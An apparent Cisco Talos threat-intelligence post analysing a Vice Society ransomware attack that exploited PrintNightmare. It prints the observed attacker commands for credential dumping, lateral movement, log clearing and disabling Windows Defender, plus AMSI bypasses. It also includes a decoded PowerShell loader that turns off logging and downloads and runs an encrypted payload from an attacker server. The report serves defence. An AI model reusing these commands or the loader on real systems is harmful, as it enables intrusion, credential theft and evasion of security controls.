THURSDAY, AUGUST 12, 2021

Vice Society Leverages PrintNightmare In Ransomware Attacks

By Edmund Brumaghin, Joe Marshall, and Arnaud Zobec.

EXECUTIVE SUMMARY

Another threat actor is actively exploiting the so-called PrintNightmare vulnerability (CVE-2021-1675 / CVE-2021-34527) in Windows' print spooler service to spread laterally across a victim's network as part of a recent ransomware attack, according to Cisco Talos Incident Response research. While previous research found that other threat actors had been exploiting this vulnerability, this appears to be new for the threat actor Vice Society.

Talos Incident Response's research demonstrates that multiple, distinct threat actors view this vulnerability as attractive to use during their attacks and may indicate that this vulnerability will continue to see more widespread adoption and incorporation by various adversaries moving forward. For defenders, it is important to understand the attack lifecycle leading up to the deployment of ransomware. If users have not already, they should download the latest patch for PrintNightmare from Microsoft.

In this post, we'll analyze the various TTPs used in a recent ransomware attack from Vice Society that leveraged this vulnerability. Many of these same TTPs are commonly observed in other ransomware attacks, such as a previously published analysis of a WastedLocker attack.

WHO IS VICE SOCIETY?

Vice Society is a relatively new player in the ransomware space. They emerged in mid-2021 and have been observed launching big-game hunting and double-extortion attacks, primarily targeting small or midsize victims.

This group also has notably targeted public school districts and other educational institutions. As they are a new actor in this space, Vice Society's TTPs are difficult to quantify. However, based on incident response observations, they are quick to leverage new vulnerabilities for lateral movement and persistence on a victim's network. They also attempt to be innovative on end-point detection response bypasses.

As with other threat actors operating in the big-game hunting space, Vice Society operates a data leak site, which they use to publish data exfiltrated from victims who do not choose to pay their extortion demands. Below is an example screenshot of this site.

RECENT ATTACK METHODOLOGY

Throughout the course of our analysis of a recent human-operated ransomware attack associated with Vice Society, we observed several notable tactics, techniques, and procedures (TTPs) used throughout each stage of the attack lifecycle. Some of the most interesting characteristics of this attack were:

- The use of utilities such as proxychains and impacket during the post-compromise phases of the attack lifecycle.
- The targeting of backups to prevent recovery following ransomware deployment.
- The degradation of ESXi servers used for virtualization in victim environments.
- The use of a DLL that takes advantage of the recently discovered PrintNightmare vulnerability for which Microsoft has previously released a security update.
- Attempts to bypass native Windows protections for credential theft and privilege escalation.

Below are some key examples of the TTPs used in this attack as they relate to the Mitre ATT&CK Framework.

Discovery

ATT&CK Technique: System Owner/User Discovery (T1033)
ATT&CK Technique: Account Discovery (T1087)
ATT&CK Technique: Domain Trust Discovery (T1482)

Once initial access was achieved, several techniques were observed being leveraged to conduct post-compromise discovery and reconnaissance within the environment. We observed attempts to access the backup solution employed in the environment, likely to prevent the organization from successfully recovering without paying the demanded ransom. The "sudo" command was used to obtain credentials associated with a commercial backup solution, likely trying to gain access to backups present within the environment.

```
sudo -s -k -p [Backup Prompt] whoami
```

We also observed the use of impacket, a common network protocol manipulation tool to enumerate the environment and obtain additional information about the Active Directory configuration in place. This is typically done to identify high-value targets that may be attractive, as attacks attempt to maximize their sphere of influence over as much of the environment as possible prior, eventually deploying ransomware and making their presence known. Below are some examples of the command line syntax used for the

performance of this activity.

```
cmd.exe /q /c net group enterprise admins /domain 1>
\\127.0.0.1\admin$\__[STIRNG] 2>&1


cmd.exe /q /c net group domain admins /domain 1>
\\127.0.0.1\admin$\__[STRING] 2>&1
```

We observed enumeration of the domain trust relationships present within the environment. The adversaries used the "nltest" command for this purpose.

```
c:\windows\system32\nltest.exe /dclist:linux [HOSTNAME]
```

Execution

ATT&CK Technique: Command and Scripting Interpreter: Windows Command Shell (T1059.003)
ATT&CK Technique: Command and Scripting Interpreter: PowerShell (T1059.001)
ATT&CK Technique: Windows Management Instrumentation (T1047)
ATT&CK Technique: System Services: Service Execution (T1569.002)

Similar to what was observed during the post-compromise reconnaissance phase of the attack, the adversary used impacket to execute Windows Management Instrumentation (WMI) to achieve command execution on other systems present in the environment. The attacker also used the "proxychains" utility, which is often employed to redirect network traffic during penetration testing, red teaming, and other offensive operations.

```
cmd.exe /q /c proxychains ~/impacket/examples/wmiexec.py -hashes [SHA256
HASH] [USERNAME]@[IP ADDRESS] 1> \\127.0.0.1\admin$\__[STRING] 2>&1
```

We also observed the adversary using Windows Batch files to execute PSExec. In this case, PSExec remotely authenticated and executed PowerShell on remote systems within the environment.

```
cmd.exe /c C:\s$\0.bat PsExec.exe -d \\[HOSTNAME] -u [DOMAIN]\[USERNAME] -p
[PASSWORD] -accepteula -s cmd /c powershell.exe -ExecutionPolicy Bypass -
file \\[HOSTNAME]\s$\p.ps1
```

There were also artifacts in the environment that indicate that the recently disclosed PrintNightmare vulnerability may have been used during this attack. A DLL associated with PrintNightmare was observed on systems within the environment as described in the section "Credential Access."

Persistence

ATT&CK Technique: Create or Modify System Process (T1543)

In many big-game hunting ransomware attacks, upon achieving initial access into the target environment, the adversary will first attempt to achieve persistence so that they can regain access to the environment if they are detected or their initial point of access is otherwise removed. In this particular case, we observed the adversary leveraging a Windows Service to execute PowerShell to stay persistent in the environment.

The Windows service was configured with the following options:

Service Type: user mode service
Service Start Type: demand start
Service Account: LocalSystem
Service Name: Updater

Service Filename:

```
%COMSPEC% /C start /b %WINDIR%\System32\WindowsPowershell\v1.0\powershell -
noP -sta -w 1 -enc [BASE64 ENCODED BLOB]
```

As can be seen above, the PowerShell being executed was Base64 encoded. The decoded PowerShell instructions are below:

```
If($PSVERsionTablE.PSVeRsiON.MaJOr -ge
3){$420c3=[REf].ASSemblY.GEtTyPE('System.Management.Automation.Utils')."GEtFIE`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');
            IF($420C3){$9240c=$420c3.GeTVaLUE($nULl);
            If($9240c['ScriptB'+'lockLogging']){$9240c['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
            $9240c['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$val=[COLLECtiOns.GEnerIC.DiCTIomary[
            STriNg,SysTeM.OBJeCT]]::NEW();
            $VAl.Add('EnableScriptB'+'lockLogging',0);
            $vAl.AdD('EnableScriptBlockInvocationLogging',0);
            $9240C['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$vaL}Else{[SCRIpTBLOCK]."GEtFie`lD
            "('signatures','N'+'onPublic,Static').SETValuE($nuLL,(NEW-OBJECT COllectIons.GenErIC.HAshSet[
            STRInG]))}$ReF=[REf].AsseMbLy.GEtTyPE('System.Management.Automation.Amsi'+'Utils');
            $REf.GetFIeLD('amsiInitF'+'ailed','NonPublic,Static').SeTValue($NuLl,$tRUE);
            };
            [SYstEm.NET.SERvICePoIntMANaGEr]::ExPeCt100CONTiNUe=0;
            $71e39=New-OBJECt SysTem.Net.WeBCLIEnt;
            $u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
            $ser=$([TexT.EnCOdING]::UNicoDe.GetStriNg([CoNveRt]::FRoMBASe64StrING('aAB0AHQAcAA6ACBALwAxADgANQAuADEANQAwAC4AMQAxADcALgAyADUANQA6A
            DQANAAzAA==')));
            $t='/login/process.php';
            $71E39.HeAders.Add('User-Agent',$u);
            $71E39.PROxy=[SYStEm.NEt.WEbREquEsT]::DefAultWeBPrOXy;
            $71e39.PrOxY.CreDenTiALS = [SystEM.NET.CrEDenTIAlCache]::DEfaUltNetwOrkCReDeNtiAls;
            $Script:Proxy = $71e39.Proxy;
            $K=[SYSTem.TEXT.EnCODInG]::ASCII.GetByTes('Te~O3t,4+iGFx?q5Ig/[Rh7^=>bH(pn#');$R={$D,$K=$ARGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_
            %$K.COUNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($
            S[$I]+$S[$H])%256]}};
            $71e39.HEADErS.ADD("Cookie","YtlTCbpyzkrgsq=+qy3m0NVCbyvW6N7d+ZtMOxEKEQ=");
            $DatA=$71e39.DownloadDaTa($ser+$t);
            $iV=$DATA[0..3];
            $DATa=$dATa[4..$DaTA.LeNgTH];
            -joIn[ChAr[]](& $R $DatA ($IV+$K))|IEX
        )
```

This PowerShell is responsible for the performing the following tasks:

- Disabling PowerShell logging.
- Bypassing AMSI protection for PowerShell.
- Downloading, decrypting, and executing a backdoor payload from an attacker-controlled server.

By implementing this persistence, the attacker can regain access to the environment if the targeted organization destroys their initial means of access.

Lateral movement

ATT&CK Technique: Remote Services (T1021)
ATT&CK Technique: Lateral Tool Transfer (T1570)

Once operational within the target environment, attackers will typically perform reconnaissance, identifying additional target systems, and then move laterally from system to system as they attempt to escalate privileges and then, ultimately, deploy ransomware on many systems in the environment. During the investigation, we observed the attacker leveraging Windows Remote Desktop Connections to pivot to additional systems in the environment. This was typically performed via the following command-line syntax:

```
C:\Windows\system32\mstsc.exe /v [HOSTNAME]
```

The attacker also attempted to execute PowerShell scripts on remote systems in the environment while moving system-to-system.

```
cmd /c powershell.exe -ExecutionPolicy Bypass -file
\[IPADDRESS]\share$\p.ps1
```

During the attack, adversaries copied and executed the aforementioned PowerShell script on multiple systems across the environment.

Credential access

ATT&CK Technique: OS Credential Dumping (T1003)
ATT&CK Technique: OS Credential Dumping: LSASS Memory (T1003.001)

The actor attempted to extract credentials from the victim in two ways: Accessing the active directory global catalog file ntds.dit and utilizing comsvcs.dll. Comsvcs.dll is a well-known way to extract LSASS (Local Security Authority Subsystem Service) data. By invoking comsvcs.dll with rundll32.exe, an adversary can create a dump of any process. This is a classic and clever living-off-the-land binary (LoLBin) tactic that avoids popular credential extraction tools like Mimikatz, which may alert defenders.

We also observed attempts to dump the NTDS.dit, which is a database of Active Directory information. Examples of the command-line syntax used in these cases are below.

```
cmd.exe /q /c powershell ntdsutil.exe 'ac i ntds' 'ifm' 'create full
c:\temp' q q 1> \\127.0.0.1\admin$\__[STRING] 2>&1


cmd.exe /q /c powershell ntdsutil.exe 'ac i ntds' 'ifm' 'create full
c:\temp_logs' q q 1> \\127.0.0.1\admin$\__[STRING]5 2>&1
```

The actor also utilized PrintNightmare, a recently published series of vulnerabilities by Microsoft that would allow remote code execution when an improper print spooler performs privileged file operations. This attack vector is notable in the ubiquitous nature of print services in all modern corporate enterprises. Microsoft has recently released a security patch for PrintNightmare — we encourage all enterprises to patch immediately to avoid exploitation.

Defense evasion

ATT&CK Technique: Indicator Removal on Host: Clear Windows Event Logs (T1070.001)
ATT&CK Technique: Modify Registry (T1112)
ATT&CK Technique: Impair Defenses or Modify Tools (T1562.001)

Throughout the attack, the adversary made multiple attempts to evade detection and subvert security controls in place as described throughout previous sections of this blog post. We also observed the attacker attempting to clear the contents of security logs on compromised systems. The following command-line syntax was observed being used to clear the System, Security and Application Windows Event Logs.

```
c:\windows\system32\wevtutil.exe cl system

c:\windows\system32\wevtutil.exe cl security

c:\windows\system32\wevtutil.exe cl application
```

The adversary was also observed remotely modifying the Windows Registry on remote systems to disable remote administration restrictions to facilitate lateral movement and privilege escalation activities. Disabling this security control allows attackers to leverage pass-the-hash attacks and hinder RDP's security on systems.

```
cmd.exe /q /c powershell new-itemproperty -path
hklm:\system\currentcontrolset\control\lsa -name disablerestrictedadmin -
value 0 -propertytype dword -force 1> \\127.0.0.1\admin$\__[STRING] 2>&1
```

We also observed the attacker disabling Windows Defender by modifying the Windows Registry on compromised systems. This was performed using the following commands:

```
C:\Windows\system32\reg.exe delete HKLM\Software\Policies\Microsoft\Windows
Defender /f

C:\Windows\system32\reg.exe add HKLM\Software\Policies\Microsoft\Windows
Defender\Real-Time Protection /v DisableRoutinelyTakingAction /t REG_DWORD
/d 1 /f

C:\Windows\system32\reg.exe add HKLM\Software\Policies\Microsoft\Windows
Defender\SpyNet /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
```

We also observed the threat actor attempting to evade detection while enumerating the environment using an AMSI bypass, which is often used as a way to evade detection by endpoint security solutions that may be present on compromised systems. In this case, the Windows Command Processor was used to invoke PowerShell, which then leveraged Invoke-Expression (IEX) for this purpose.

```
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C IEX
([Net.ServicePointManager]::ServerCertificateValidationCallback={$true}try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'i
ls').GetField('am'+'siIni'+'tFailed','NonP'+'ublic,Sta'+'tic').SetValue($nu
ll,$true)}catch{}quser)
```

Exfiltration

ATT&CK Technique: Exfiltration Over Alternative Protocol (T1048)

Over the past couple of years, we have observed an increasing number of ransomware threat actors adopting a double-extortion methodology in their attacks. In these attacks, adversaries attempt to exfiltrate large quantities of sensitive information for the purposes of further extortion against victims. This data, once exfiltrated, is published to attacker-controlled websites that are commonly referred to as "data leak sites" in situations where the victim chooses not to pay the ransom demand.

In this attack, we observed the adversary attempting to exfiltrate sensitive information over SMB (TCP/445) directly from a compromised domain controller. This was likely chosen as a way to bypass egress filtering that may have been in place at the perimeter of the victim environment.

Defender takeaways

It can be difficult to account for the myriad ways an attacker can compromise and inflict malware on a network. Given the techniques demonstrated here, it can feel overwhelming as a defender to account for every avenue of attack. The good news is that there are several lessons we can learn about this incident:

- Logging is critical for forensics — ensure there is reliable and secure logging infrastructure in place.
- Utilize multi-factor authentication to make credential theft more difficult to exploit.
- Look at egress filtering for firewalls and ensure malicious traffic cannot call out to adversary infrastructure.
- Utilize an endpoint detection response platform that detects LoLBin abuse and malware implants.
- Keep up-to-date and offline backups that cannot be targeted by adversaries.

CONCLUSION

As demonstrated throughout this post, attackers often make use of a variety of tactics, techniques, and procedures as they work to accomplish their mission objectives. In some instances, there is significant overlap and similarities between the approaches taken by distinct threat actors. They often leverage dual-use tools for various purposes to minimize their footprint and evade detection. Likewise, adversaries are constantly refining their approach to the ransomware attack lifecycle as they strive to operate more effectively, efficiently, and evasively.

The use of the vulnerability known as PrintNightmare shows that adversaries are paying close attention and will quickly incorporate new tools that they find useful for various purposes during their attacks. Multiple distinct threat actors are now taking advantage of PrintNightmare, and this adoption will likely continue to increase as long as it is effective. It is important that defenders be aware of the various TTPs being used throughout the attack lifecycle so that they are prepared to prevent, detect, and respond to nefarious activity that may be indicative of a successful compromise of their environment. Failure to do so could result in widespread operational disruption, reputational damage, and the loss of confidentiality of sensitive information.

COVERAGE

Ways our customers can detect and block this threat are listed below.

Product	Protection
Cisco Secure Endpoint (AMP for Endpoints)	✓
Cloudlock	N/A
Cloud Web Security	✓
Cisco Secure Email	N/A
Cisco Secure Firewall/Secure IPS (Network Security)	✓
Cisco Secure Network Analytics (Stealthwatch)	N/A
Cisco Secure Cloud Analytics (Stealthwatch Cloud)	N/A
Cisco Secure Malware Analytics (Threat Grid)	✓
Umbrella	✓
Cisco Secure Web Appliance (Web Security Appliance)	✓

Cisco Secure Endpoint is ideally suited to prevent the execution of the malware detailed in this post. New users can try Cisco Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Firewall and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics helps identify malicious binaries and build protection into all Cisco Security products.

Cisco Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

Additional protections with context to your specific environment and threat data are available from the Cisco Secure Firewall Management Center.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.The following SIDs have been

released to detect this threat: 57876, 57877.

INDICATORS OF COMPROMISE (IOCS)

The following IOCs have been observed being associated with the attack.

PrintNightmare DLL:
6f191f598589b7708b1890d56b374b45c6eb41610d34f976f0b4cfde8d5731af